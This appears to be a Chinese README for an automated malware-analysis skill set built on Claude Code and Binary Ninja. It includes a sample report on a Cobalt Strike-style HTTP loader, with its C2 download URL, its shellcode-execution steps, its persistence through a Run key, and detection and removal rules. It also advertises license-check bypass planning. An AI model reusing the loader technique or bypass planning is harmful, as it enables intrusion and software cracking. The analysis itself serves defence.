基于 Claude Code + Binary Ninja MCP 的恶意软件自动化逆向分析技能集。
一行命令,从样本加载到完整分析报告,全流程自动化。覆盖 Windows PE / Linux ELF / macOS Mach-O 三平台,映射 MITRE ATT&CK 框架,生成可执行应急响应方案。
CLAUDE.md(自动触发规则)
│
├─ 针对性分析 ─────────────────────────┐
│ malware-triage → 分类 & 壳检测 │
│ malware-unpacking → 脱壳处理 │
│ malware-static-analysis → 深度反编译 │
│ malware-ioc-extractor → IOC 提取 │
│ malware-behavior-extractor → ATT&CK │
│ malware-persistence-analysis → 持久化 │
│ malware-license-analysis → 授权逆向 │
│ malware-incident-response → 应急响应 │
│ │
└─ 全量分析 ─────────────────────────────┤
malware-pipeline(6 阶段流水线) │
Phase 0: 文件类型检测 │
Phase 1: 数据采集 (MCP + strings) │
Phase 2: Triage 内联判定 │
Phase 3: 脱壳 + 反编译 + 静态分析 │
Phase 4: IOC/行为/持久化 整合 │
Phase 5: 完整报告直接输出 │
│
malware-shared/ ← 共享知识库 ──────────────┘
├─ API_REFERENCE.md 高危 API 参考
├─ MITRE_ATTACK_REFERENCE.md ATT&CK 技术映射
├─ PACKER_FINGERPRINTS.md 壳/保护器指纹
├─ SEVERITY_RATING.md 威胁评分标准
├─ PLATFORM_DIFFERENCES.md 平台差异详解
├─ OUTPUT_STANDARD.md 输出规范
└─ SKILL_HEADER.md 通用 Skill 头部
- 全平台覆盖 — Windows PE (x86/x64)、Linux ELF (x86/x64/ARM/MIPS)、macOS Mach-O (x64/ARM64)
- 全自动流水线 — 加载样本即自动触发,6 阶段串联执行,无需手动调用
- 零中间文件 — 数据在内存中流转,不写磁盘,分析完毕不留痕迹
- 直接输出报告 — 完整综合分析报告直接呈现在对话中,不截断不省略
- MITRE ATT&CK 映射 — 恶意行为自动映射到 ATT&CK 战术技术,还原攻击链
- 可执行应急响应 — YARA/Sigma 规则 + 平台特定清除命令,可直接复制执行
- 壳/保护器处理 — 支持 15+ 种壳检测,简单壳自动脱壳,强壳局部分析
- 授权验证逆向 — 覆盖在线/离线/混合验证,支持硬件绑定分析和绕过规划
- 能力感知跳过 — 根据实际能力标志自动跳过无关分析阶段,节省 Token
malware-triage ─────────────────────────────────────────────┐
│ │
├── malware-unpacking ──→ malware-static-analysis ──┬───┤
│ │ │
│ ┌──────────────────────────────────────────────┘ │
│ │ │
│ ├── malware-ioc-extractor ─────────────────────────┤
│ ├── malware-behavior-extractor ────────────────────┤
│ └── malware-persistence-analysis ──────────────────┤
│ │
└── malware-license-analysis(独立路径) │
│
malware-incident-response ← [以上所有分析结果] ────────────────┘
malware-pipeline ← [以上全部,单 Agent 顺序执行]
| 组件 | 说明 |
|---|---|
| Claude Code | CLI v2.0+ |
| Binary Ninja | 商业版 v4.0+(需 MCP 插件连接) |
| Binary Ninja MCP Server | 提供 reverse engineering API |
| 系统工具 | file, strings, md5/shasum |
方式一:直接加载到 Binary Ninja
1. 在 Binary Ninja 中打开样本文件
2. 在 Claude Code 对话中发送任意分析请求
3. 系统自动检测已加载的二进制,触发全量流水线
方式二:指定文件路径
用户: 分析 /path/to/malware.exe
→ 自动执行 malware-pipeline
方式三:定向分析
用户: 这个样本有没有加壳?
→ 自动执行 malware-triage
用户: 帮我提取这个样本的 IOC
→ 自动执行 malware-ioc-extractor
在 CLAUDE.md 中配置了自动触发策略,以下场景自动激活分析:
- Binary Ninja 中已加载二进制文件
- 用户提供文件并要求分析
- 用户提到逆向/脱壳/静态分析等关键词
- 用户提到恶意软件/病毒/木马/后门
- 检测到 PE/ELF/Mach-O 格式文件
| 技能 | 描述 | 前置依赖 |
|---|---|---|
| malware-pipeline | 全链路自动化分析流水线,单 Agent 顺序执行 6 阶段,直接输出完整报告 | 无 |
| malware-triage | 样本初步分类:格式/架构识别、壳检测、高危 API 信号、恶意软件类型判定 | 无 |
| malware-static-analysis | 深度静态分析:函数分类、反编译、交叉引用、代码模式识别、配置提取 | triage + unpacking |
| 技能 | 描述 | 前置依赖 |
|---|---|---|
| malware-unpacking | 壳检测与脱壳处理(UPX/VMProtect/Themida 等 15+ 种),OEP 识别与修复 | triage |
| malware-ioc-extractor | 提取所有 IOC:网络/文件/注册表/进程/互斥体/配置 | static-analysis |
| malware-behavior-extractor | 行为提取 + MITRE ATT&CK 映射 + 攻击链还原 | static-analysis |
| malware-persistence-analysis | 持久化机制深度分析:Windows/Linux/macOS 全平台覆盖 | static-analysis |
| 技能 | 描述 | 前置依赖 |
|---|---|---|
| malware-license-analysis | 软件授权验证逆向:验证算法分析、硬件绑定、绕过方案规划 | triage + unpacking |
| malware-incident-response | 应急响应指南生成:YARA/Sigma/遏制/根除/恢复/加固 | 所有上游分析 |
malware-pipeline 输出的完整报告包含以下 11 个章节:
1. 执行摘要 — 威胁等级、类型、一句话概述、四维评分
2. 样本基本信息 — Hash、格式、架构、编译信息、壳状态
3. 功能概述 — 核心功能 + 能力映射表
4. 静态分析发现 — 关键函数、代码模式、加密算法、配置提取
5. IOC 清单 — 网络/文件/注册表/进程/互斥体 IOC 表格
6. MITRE ATT&CK 映射 — 战术技术表 + 攻击链还原
7. 持久化机制 — 机制详情 + 隐蔽性评估 + 清除命令
8. 授权验证分析 —(如适用)
9. 应急响应指南 — 检测规则 + 遏制 + 根除 + 恢复 + 加固
10. 威胁统计 — 函数数/API数/IOC数/ATT&CK映射数
11. 防御建议 — 分层加固建议
| 能力 | 覆盖率 |
|---|---|
| 壳检测 | UPX / ASPack / MPRESS / VMProtect / Themida / Enigma / Obsidium / Armadillo / PELock / .NET Reactor 等 15+ 种 |
| 进程注入 | Classic DLL / Process Hollowing / APC Injection / Atom Bombing / Early Bird |
| 持久化 | Run 键 / 服务 / 计划任务 / 启动文件夹 / WMI / Winlogon / IFEO / AppInit DLL / COM 劫持 / DLL 劫持 |
| 网络 C2 | HTTP/HTTPS / Socket / DNS 隧道 / Named Pipe |
| 凭证窃取 | Keylogger / LSASS Dump / Token 窃取 / Browser 窃密 |
| 防御规避 | 反调试 / 反虚拟机 / 混淆 / AMSI Bypass / ETW Patching |
| 能力 | 覆盖率 |
|---|---|
| 壳/保护 | UPX / burneye / shiva / ELFCrypt / 定制壳 |
| 持久化 | crontab / systemd / init.d / ld.so.preload / .bashrc / SSH Key / XDG Autostart |
| 网络 C2 | TCP Reverse Shell / HTTP C2 / ICMP Tunnel / DNS Tunnel |
| 进程注入 | ptrace 注入 / LD_PRELOAD / so 注入 |
| 防御规避 | /proc 检测 / sysfs 操作 / 内核模块 |
| 能力 | 覆盖率 |
|---|---|
| 壳/保护 | UPX / 定制 dylib 加密 / LLVM 混淆 |
| 持久化 | LaunchAgent / LaunchDaemon / 登录项 / DYLD_INSERT_LIBRARIES / kext / 浏览器扩展 |
| 网络 C2 | HTTP/HTTPS C2 / Custom TCP |
| 进程注入 | dylib 注入 / Mach 注入 / XPC 利用 |
| 凭证窃取 | Keychain 访问 / TCC 绕过 |
四维评分模型(每维 0-10 分),综合评分 0-40:
| 维度 | 评分标准 |
|---|---|
| 破坏力 | 数据加密(勒索)/ 系统破坏 / 数据窃取 / 服务中断 |
| 传播性 | 蠕虫行为 / 横向移动 / 漏洞利用 / 鱼叉攻击 |
| 隐蔽性 | 混淆/加壳 / 反分析 / 合法进程注入 / Rootkit |
| 利用广度 | 漏洞利用 / 0-day / 利用工具包 / 供应链攻击 |
以下是 loader32.exe(Cobalt Strike HTTP Loader)的分析报告:
---
loader32.exe — 恶意软件综合分析报告
1. 执行摘要
┌──────────────┬─────────────────────────────────────────────────────────┐
│ 项目 │ 内容 │
├──────────────┼─────────────────────────────────────────────────────────┤
│ 威胁等级 │ HIGH (高危) │
├──────────────┼─────────────────────────────────────────────────────────┤
│ 恶意软件类型 │ Cobalt Strike HTTP Loader / Downloader │
├──────────────┼─────────────────────────────────────────────────────────┤
│ 核心行为 │ 从 C2 服务器下载 shellcode 并执行,建立持久化 │
├──────────────┼─────────────────────────────────────────────────────────┤
│ 威胁评分 │ 破坏力 6/10 · 传播性 2/10 · 隐蔽性 6/10 · 利用广度 5/10 │
├──────────────┼─────────────────────────────────────────────────────────┤
│ 综合评分 │ 19/40 │
└──────────────┴─────────────────────────────────────────────────────────┘
一句话概述: 该样本是一个由 MinGW GCC 编译的 Windows 32位 Cobalt Strike 加载器,通过 WinHTTP 从 192.168.190.136:8088 下载 payload.bin,使用
VirtualAlloc + CreateThread 执行 shellcode,并通过启动文件夹和注册表 Run 键实现双重持久化。
---
2. 样本基本信息
┌──────────┬──────────────────────────────────────────────────────────────────┐
│ 属性 │ 值 │
├──────────┼──────────────────────────────────────────────────────────────────┤
│ 文件名 │ loader32.exe │
├──────────┼──────────────────────────────────────────────────────────────────┤
│ MD5 │ e4fb3792c906a9fba044bc26d7f3c535 │
├──────────┼──────────────────────────────────────────────────────────────────┤
│ SHA256 │ 1b5e134d2c7ce8c38e524e6687caf60b4bb691746d39556a43d6702843ef11ae │
├──────────┼──────────────────────────────────────────────────────────────────┤
│ 文件格式 │ PE32 executable (GUI) Intel 80386 │
├──────────┼──────────────────────────────────────────────────────────────────┤
│ 编译工具 │ GCC: (Rev13, Built by MSYS2 project) 15.2.0 (MinGW-w64) │
├──────────┼──────────────────────────────────────────────────────────────────┤
│ 入口点 │ 0x401450 (_start) │
├──────────┼──────────────────────────────────────────────────────────────────┤
│ 文件大小 │ ~64KB (代码段 .text: 8,208 bytes) │
├──────────┼──────────────────────────────────────────────────────────────────┤
│ 加壳状态 │ 未加壳 — 标准 GCC 节结构 (.text/.data/.rdata/.rsrc 等) │
├──────────┼──────────────────────────────────────────────────────────────────┤
│ 子系统 │ Windows GUI (2) │
├──────────┼──────────────────────────────────────────────────────────────────┤
│ TLS 回调 │ 2 个 (TLS_Entry_0 @ 0x401c60, TLS_Entry_1 @ 0x401c20) │
└──────────┴──────────────────────────────────────────────────────────────────┘
---
3. 功能概述
能力映射表
┌───────────────────┬────────────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────┐
│ 能力 │ 状态 │ 相关 API │
├───────────────────┼────────────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ 网络通信 (C2) │ ✅ │ WinHttpOpen, WinHttpConnect, WinHttpOpenRequest, WinHttpSendRequest, WinHttpReceiveResponse, │
│ │ │ WinHttpReadData, WinHttpCloseHandle │
├───────────────────┼────────────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ 持久化 │ ✅ │ RegOpenKeyExW, RegSetValueExW, CopyFileW, CreateDirectoryW, SetFileAttributesW │
├───────────────────┼────────────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Shellcode │ ✅ │ VirtualAlloc, VirtualProtect, CreateThread, WaitForSingleObject │
│ 注入/执行 │ │ │
├───────────────────┼────────────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ 动态 DLL 加载 │ ✅ │ LoadLibraryA, GetProcAddress, FreeLibrary │
├───────────────────┼────────────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ 文件操作 │ ✅ │ CopyFileW, CreateDirectoryW, GetModuleFileNameW, ExpandEnvironmentStringsW, SetFileAttributesW │
├───────────────────┼────────────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ 反分析/反调试 │ ✅ │ TLS 回调, IsDBCSLeadByte (非典型用途), SetUnhandledExceptionFilter │
├───────────────────┼────────────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ 加密/解密 │ ❌ │ 无 Crypt*/BCrypt* API 导入 │
│ │ 未检测到 │ │
├───────────────────┼────────────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ 凭证窃取 │ ❌ │ 无键盘记录/凭证转储 API │
│ │ 未检测到 │ │
├───────────────────┼────────────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ 横向移动 │ ❌ │ — │
│ │ 未检测到 │ │
├───────────────────┼────────────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ 授权验证 │ ❌ │ — │
└───────────────────┴────────────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────┘
执行流程
_start (0x401450)
└─ sub_401030 ← CRT 初始化
├─ TLS_Entry_0() ← 反调试/反分析
├─ sub_401f40() ← 伪重定位初始化
├─ SetUnhandledExceptionFilter(sub_4024a0) ← 异常处理接管
├─ _initterm() ← 全局构造器
└─ sub_402f20 ← 实际 main()
├─ 命令行参数解析
├─ GetStartupInfoA()
└─ sub_401ac0 ← ★ 主载荷逻辑
├─ sub_401910 ← [1] 持久化部署
│ ├─ CopyFileW → 启动文件夹\wuaupd.exe
│ ├─ SetFileAttributesW → HIDDEN
│ └─ RegOpenKeyExW + RegSetValueExW → HKLM\...\Run
├─ sub_401640 ← [2] C2 下载
│ ├─ WinHttpOpen("Mozilla/5.0")
│ ├─ WinHttpConnect("192.168.190.136", 8088)
│ ├─ WinHttpOpenRequest(GET "/payload.bin")
│ ├─ WinHttpSendRequest + WinHttpReceiveResponse
│ └─ WinHttpReadData → HeapAlloc 动态增长缓冲区
└─ sub_401560 ← [3] Shellcode 执行
├─ VirtualAlloc(RW) → memmove → VirtualProtect(RX)
├─ CreateThread(sub_401550, shellcode)
└─ WaitForSingleObject(INFINITE)
---
4. 静态分析发现
4.1 核心函数分析
sub_401ac0 (0x401ac0) — 主载荷编排器
协调三个核心阶段:持久化 → 下载 → 执行。顺序执行,无错误恢复机制(任一步骤失败后续仍尝试执行)。
sub_401640 (0x401640) — HTTP C2 下载器
- User-Agent: Mozilla/5.0(伪装浏览器)
- C2 地址: 192.168.190.136(私有 IPv4,内网/LAN 环境)
- 端口: 8088 (0x1f90)
- 请求路径: GET /payload.bin
- 代理: WINHTTP_ACCESS_TYPE_DEFAULT_PROXY
- 下载策略: 初始分配 0x1000 字节,每次翻倍扩展 (×2),适用于未知大小的 payload
- 输出: 通过 arg1 返回 payload 缓冲区指针,arg2 返回实际大小
sub_401560 (0x401560) — Shellcode 执行引擎
经典 shellcode 加载模式:
1. VirtualAlloc(nullptr, size, MEM_COMMIT, PAGE_READWRITE) — 分配可写内存
2. memmove(alloc, payload, size) — 复制 shellcode
3. VirtualProtect(alloc, size, PAGE_EXECUTE_READ, ...) — 改为可执行
4. CreateThread(nullptr, 0, sub_401550, alloc, 0, nullptr) — 创建线程执行
5. WaitForSingleObject(thread, INFINITE) — 等待 shellcode 线程结束
6. CloseHandle(thread) — 清理
sub_401910 (0x401910) — 双重持久化
1. 启动文件夹持久化:
- 获取自身路径 (GetModuleFileNameW)
- 目标路径: %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\wuaupd.exe
- 创建目录 (CreateDirectoryW)
- 复制自身 (CopyFileW)
- 设置隐藏属性 (SetFileAttributesW + FILE_ATTRIBUTE_HIDDEN)
- 伪装名称: wuaupd.exe (Windows Update 仿冒)
2. 注册表 Run 键持久化:
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
- 值名: wuaupd.exe
- 值: 启动文件夹中的完整路径
sub_402f20 (0x402f20) — actual main
标准 MinGW CRT main 包装器:解析命令行参数 → 调用 sub_401ac0 → 返回 0。
辅助函数
┌────────────┬──────────┬─────────────────────────────────────────────┐
│ 函数 │ 地址 │ 功能 │
├────────────┼──────────┼─────────────────────────────────────────────┤
│ sub_401550 │ 0x401550 │ 线程包装器,调用 arg1() 后返回 0 │
├────────────┼──────────┼─────────────────────────────────────────────┤
│ sub_4024a0 │ 0x4024a0 │ 未处理异常过滤器(阻止崩溃信息) │
├────────────┼──────────┼─────────────────────────────────────────────┤
│ sub_4027d0 │ 0x4027d0 │ TLS 基础设施管理(初始化/清理临界区和链表) │
├────────────┼──────────┼─────────────────────────────────────────────┤
│ sub_4026b0 │ 0x4026b0 │ 注册 TLS 回调+数据 │
├────────────┼──────────┼─────────────────────────────────────────────┤
│ sub_402730 │ 0x402730 │ 移除 TLS 回调 │
├────────────┼──────────┼─────────────────────────────────────────────┤
│ sub_402640 │ 0x402640 │ 执行所有已注册 TLS 回调 │
├────────────┼──────────┼─────────────────────────────────────────────┤
│ sub_4028f0 │ 0x4028f0 │ PE 文件验证(MZ + PE 签名 + PE32 检查) │
├────────────┼──────────┼─────────────────────────────────────────────┤
│ sub_401de0 │ 0x401de0 │ 伪重定位处理(MinGW 特定) │
└────────────┴──────────┴─────────────────────────────────────────────┘
4.2 反分析技术
┌────────────────┬──────────────────────────────────────────┬───────────────────────────────────────────────────┐
│ 技术 │ 实现 │ 详情 │
├────────────────┼──────────────────────────────────────────┼───────────────────────────────────────────────────┤
│ TLS 回调 │ TLS_Entry_0, TLS_Entry_1 │ 在进程入口点之前执行,可绕过 user-mode 调试器断点 │
├────────────────┼──────────────────────────────────────────┼───────────────────────────────────────────────────┤
│ 异常处理接管 │ SetUnhandledExceptionFilter → sub_4024a0 │ 防止崩溃报告泄露分析线索 │
├────────────────┼──────────────────────────────────────────┼───────────────────────────────────────────────────┤
│ DBCS 字符检测 │ IsDBCSLeadByte 在命令行解析中 │ 非典型用法,可能干扰自动分析 │
├────────────────┼──────────────────────────────────────────┼───────────────────────────────────────────────────┤
│ 代码段保护修改 │ VirtualProtect 修改区段属性 │ 伪重定位需修改 .text 段为可写 │
└────────────────┴──────────────────────────────────────────┴───────────────────────────────────────────────────┘
4.3 配置数据提取
所有配置数据均以明文 Unicode 字符串存在于代码中:
┌──────────────┬─────────────────────────────────────────────────────────┐
│ 配置项 │ 值 │
├──────────────┼─────────────────────────────────────────────────────────┤
│ User-Agent │ Mozilla/5.0 │
├──────────────┼─────────────────────────────────────────────────────────┤
│ C2 IP │ 192.168.190.136 │
├──────────────┼─────────────────────────────────────────────────────────┤
│ C2 端口 │ 8088 │
├──────────────┼─────────────────────────────────────────────────────────┤
│ 下载 URI │ /payload.bin │
├──────────────┼─────────────────────────────────────────────────────────┤
│ 持久化文件名 │ wuaupd.exe │
├──────────────┼─────────────────────────────────────────────────────────┤
│ 启动文件夹 │ %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup │
├──────────────┼─────────────────────────────────────────────────────────┤
│ 注册表键 │ HKLM\Software\Microsoft\Windows\CurrentVersion\Run │
├──────────────┼─────────────────────────────────────────────────────────┤
│ libgcc DLL │ libgcc_s_dw2-1.dll │
└──────────────┴─────────────────────────────────────────────────────────┘
---
5. IOC 清单
5.1 网络 IOC
┌─────────────────────────────────────────┬───────────────────────┬────────────────────────────┬────────┐
│ IOC │ 类型 │ 上下文 │ 置信度 │
├─────────────────────────────────────────┼───────────────────────┼────────────────────────────┼────────┤
│ 192.168.190.136 │ IP 地址 │ C2 服务器 (WinHttpConnect) │ 🔴 高 │
├─────────────────────────────────────────┼───────────────────────┼────────────────────────────┼────────┤
│ 192.168.190.136:8088 │ IP:Port │ C2 服务端口 │ 🔴 高 │
├─────────────────────────────────────────┼───────────────────────┼────────────────────────────┼────────┤
│ http://192.168.190.136:8088/payload.bin │ URL │ Payload 下载地址 │ 🔴 高 │
├─────────────────────────────────────────┼───────────────────────┼────────────────────────────┼────────┤
│ wuaupd.exe │ HTTP GET /payload.bin │ 下载的 payload 路径 │ 🔴 高 │
└─────────────────────────────────────────┴───────────────────────┴────────────────────────────┴────────┘
注意: IP 为私有地址 (192.168.x.x),表明 C2 服务器可能位于同一局域网或测试环境。
5.2 文件 IOC
┌────────────────────┬────────────────────────────────────────────────────────────────────┬────────────────────────┬────────┐
│ IOC │ 路径 │ 说明 │ 置信度 │
├────────────────────┼────────────────────────────────────────────────────────────────────┼────────────────────────┼────────┤
│ wuaupd.exe │ %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\wuaupd.exe │ 持久化副本(隐藏属性) │ 🔴 高 │
├────────────────────┼────────────────────────────────────────────────────────────────────┼────────────────────────┼────────┤
│ payload.bin │ 内存中 (不落盘) │ 下载的 shellcode │ 🟡 中 │
├────────────────────┼────────────────────────────────────────────────────────────────────┼────────────────────────┼────────┤
│ libgcc_s_dw2-1.dll │ 系统路径 │ 合法 MinGW 运行时 DLL │ 🟢 低 │
└────────────────────┴────────────────────────────────────────────────────────────────────┴────────────────────────┴────────┘
5.3 注册表 IOC
┌────────────┬───────────────────────────────────────────────────────────────┬─────────────────────┬────────┐
│ IOC │ 键/值 │ 说明 │ 置信度 │
├────────────┼───────────────────────────────────────────────────────────────┼─────────────────────┼────────┤
│ wuaupd.exe │ HKLM\Software\Microsoft\Windows\CurrentVersion\Run\wuaupd.exe │ 注册表 Run 键持久化 │ 🔴 高 │
└────────────┴───────────────────────────────────────────────────────────────┴─────────────────────┴────────┘
5.4 互斥体 IOC
┌──────────┬──────────────────┬────────┐
│ IOC │ 说明 │ 置信度 │
├──────────┼──────────────────┼────────┤
│ 未检测到 │ 样本未创建互斥体 │ — │
└──────────┴──────────────────┴────────┘
---
6. MITRE ATT&CK 映射
攻击链还原
初始访问 → 执行 → 持久化 → 防御规避 → C2 → 执行 → 影响
? T1204 T1547.001 T1564.001 T1071.001 T1055 ?
T1622
T1497
战术技术映射表
┌─────────────────────┬───────────┬───────────────────────────────────────────┬────────────────────────────────────────────┐
│ 战术 │ 技术 ID │ 技术名称 │ 实现细节 │
├─────────────────────┼───────────┼───────────────────────────────────────────┼────────────────────────────────────────────┤
│ Execution │ T1204.002 │ User Execution: Malicious File │ 样本为 EXE 需要用户手动执行 │
├─────────────────────┼───────────┼───────────────────────────────────────────┼────────────────────────────────────────────┤
│ Persistence │ T1547.001 │ Boot/Logon Autostart: Registry Run Keys │ HKLM\...\Run\wuaupd.exe │
├─────────────────────┼───────────┼───────────────────────────────────────────┼────────────────────────────────────────────┤
│ Persistence │ T1547.001 │ Boot/Logon Autostart: Startup Folder │ %APPDATA%\...\Startup\wuaupd.exe │
├─────────────────────┼───────────┼───────────────────────────────────────────┼────────────────────────────────────────────┤
│ Defense Evasion │ T1564.001 │ Hide Artifacts: Hidden Files │ SetFileAttributesW(FILE_ATTRIBUTE_HIDDEN) │
├─────────────────────┼───────────┼───────────────────────────────────────────┼────────────────────────────────────────────┤
│ Defense Evasion │ T1622 │ Debugger Evasion │ TLS 回调先于入口点执行 │
├─────────────────────┼───────────┼───────────────────────────────────────────┼────────────────────────────────────────────┤
│ Defense Evasion │ T1497 │ Virtualization/Sandbox Evasion │ TLS 回调可用于沙箱检测 │
├─────────────────────┼───────────┼───────────────────────────────────────────┼────────────────────────────────────────────┤
│ Defense Evasion │ T1036.005 │ Masquerading: Match Legitimate Name │ wuaupd.exe 仿冒 Windows Update │
├─────────────────────┼───────────┼───────────────────────────────────────────┼────────────────────────────────────────────┤
│ Command and Control │ T1071.001 │ Application Layer Protocol: Web Protocols │ HTTP GET 到 C2 服务器 │
├─────────────────────┼───────────┼───────────────────────────────────────────┼────────────────────────────────────────────┤
│ Command and Control │ T1105 │ Ingress Tool Transfer │ 下载 /payload.bin shellcode │
├─────────────────────┼───────────┼───────────────────────────────────────────┼────────────────────────────────────────────┤
│ Execution │ T1106 │ Native API │ VirtualAlloc + CreateThread 执行 shellcode │
└─────────────────────┴───────────┴───────────────────────────────────────────┴────────────────────────────────────────────┘
未检测到的战术
┌───────────────────┬───────────────────────────────────┐
│ 战术 │ 状态 │
├───────────────────┼───────────────────────────────────┤
│ Initial Access │ ❌ 未知(由投递方式决定) │
├───────────────────┼───────────────────────────────────┤
│ Discovery │ ❌ 未检测到 │
├───────────────────┼───────────────────────────────────┤
│ Collection │ ❌ 未检测到(依赖下载的 payload) │
├───────────────────┼───────────────────────────────────┤
│ Credential Access │ ❌ 未检测到 │
├───────────────────┼───────────────────────────────────┤
│ Lateral Movement │ ❌ 未检测到 │
├───────────────────┼───────────────────────────────────┤
│ Exfiltration │ ❌ 未检测到(依赖下载的 payload) │
├───────────────────┼───────────────────────────────────┤
│ Impact │ ❌ 未检测到(依赖下载的 payload) │
└───────────────────┴───────────────────────────────────┘
---
7. 持久化机制
持久化清单
┌─────────────┬──────────┬─────────────────────────────────────────────────────────────────┬──────────────────────┬───────────────────────────┐
│ 机制 │ 类型 │ 路径 │ 触发条件 │ 隐蔽性 │
├─────────────┼──────────┼─────────────────────────────────────────────────────────────────┼──────────────────────┼───────────────────────────┤
│ 启动文件夹 │ 文件复制 │ %APPDATA%\Microsoft\Windows\Start │ 用户登录 │ 🟡 中(文件名伪装) │
│ │ │ Menu\Programs\Startup\wuaupd.exe │ │ │
├─────────────┼──────────┼─────────────────────────────────────────────────────────────────┼──────────────────────┼───────────────────────────┤
│ Run │ 注册表 │ HKLM\Software\Microsoft\Windows\CurrentVersion\Run\wuaupd.exe │ 系统启动 │ 🟡 中(常见持久化位置) │
│ 注册表键 │ │ │ │ │
├─────────────┼──────────┼─────────────────────────────────────────────────────────────────┼──────────────────────┼───────────────────────────┤
│ 隐藏属性 │ 文件隐藏 │ 同上文件路径 │ 文件浏览器默认不可见 │ 🟢 │
│ │ │ │ │ 低(仅需修改文件夹选项) │
└─────────────┴──────────┴─────────────────────────────────────────────────────────────────┴──────────────────────┴───────────────────────────┘
清除命令
Windows(以管理员权限运行):
# 1. 删除注册表 Run 键
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "wuaupd.exe" /f
# 2. 删除启动文件夹中的文件(需先移除隐藏属性)
attrib -h "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\wuaupd.exe"
del /f "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\wuaupd.exe"
# 3. 终止进程(如正在运行)
taskkill /f /im wuaupd.exe
---
8. 授权验证分析
不适用 — 该样本不包含软件授权验证机制。
---
9. 应急响应指南
9.1 检测规则
YARA 规则
rule Loader32_CS_Downloader {
meta:
description = "Cobalt Strike HTTP Loader via WinHTTP"
author = "Malware Analysis Pipeline"
date = "2026-06-03"
hash = "1b5e134d2c7ce8c38e524e6687caf60b4bb691746d39556a43d6702843ef11ae"
severity = "high"
strings:
$ua = {4D 00 6F 00 7A 00 69 00 6C 00 6C 00 61 00 2F 00 35 00 2E 00 30} // "Mozilla/5.0" (UTF-16LE)
$ip = {31 00 39 00 32 00 2E 00 31 00 36 00 38 00 2E 00 31 00 39 00 30 00 2E 00 31 00 33 00 36} // "192.168.190.136"
$uri = {2F 00 70 00 61 00 79 00 6C 00 6F 00 61 00 64 00 2E 00 62 00 69 00 6E} // "/payload.bin"
$filename = {77 00 75 00 61 00 75 00 70 00 64 00 2E 00 65 00 78 00 65} // "wuaupd.exe"
$runkey = {53 00 6F 00 66 00 74 00 77 00 61 00 72 00 65 00 5C 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 5C 00 57 00 69 00
6E 00 64 00 6F 00 77 00 73 00 5C 00 43 00 75 00 72 00 72 00 65 00 6E 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 5C 00 52 00 75 00 6E} //
"Software\Microsoft\Windows\CurrentVersion\Run"
$gcc = "GCC: (Rev13, Built by MSYS2 project) 15.2.0"
condition:
uint16(0) == 0x5A4D and
filesize < 200KB and
5 of ($ua, $ip, $uri, $filename, $runkey, $gcc)
}
Sigma 规则
title: CS Loader - WinHTTP Download and Persistence
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects a Cobalt Strike HTTP loader downloading payload and establishing persistence
author: Malware Analysis Pipeline
date: 2026-06-03
severity: high
logsource:
category: process_creation
product: windows
detection:
selection_file:
Image|endswith: '\wuaupd.exe'
selection_registry:
CommandLine|contains|all:
- 'reg'
- 'Software\Microsoft\Windows\CurrentVersion\Run'
- 'wuaupd.exe'
selection_copy:
CommandLine|contains|all:
- 'copy'
- 'Startup'
- 'wuaupd.exe'
selection_network:
CommandLine|contains:
- '192.168.190.136'
condition: any of [selection_*]
falsepositives:
- Unknown
level: high
命令行检测
# 检查持久化注册表
Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" | Select wuaupd.exe
# 检查启动文件夹
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -Force | Where-Object { $_.Name -eq "wuaupd.exe" }
# 检查网络连接
netstat -ano | findstr "192.168.190.136"
# 检查隐藏文件
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -Force -Hidden
9.2 遏制操作
┌────────┬────────────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────┬──────────┐
│ 优先级 │ 操作 │ 命令 │ 风险 │
├────────┼────────────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────┼──────────┤
│ P0 │ 网络隔离 │ 断开局域网连接或防火墙封锁 192.168.190.136:8088 │ 🔴 高 │
├────────┼────────────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────┼──────────┤
│ P0 │ 终止进程 │ taskkill /f /im wuaupd.exe │ 🟡 │
│ │ │ │ 需确认 │
├────────┼────────────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────┼──────────┤
│ P1 │ 封锁 C2 IP │ netsh advfirewall firewall add rule name="Block C2" dir=out remoteip=192.168.190.136 protocol=tcp │ 🟢 安全 │
│ │ │ remoteport=8088 action=block │ │
├────────┼────────────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────┼──────────┤
│ P2 │ 清除持久化 │ 见上方清除命令 │ 🟢 安全 │
└────────┴────────────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────┴──────────┘
9.3 根除步骤
# 以管理员身份执行
# 步骤 1: 终止恶意进程
taskkill /f /im wuaupd.exe 2>nul
# 步骤 2: 删除注册表持久化
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "wuaupd.exe" /f 2>nul
# 步骤 3: 删除启动文件夹持久化文件
attrib -h -s "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\wuaupd.exe" 2>nul
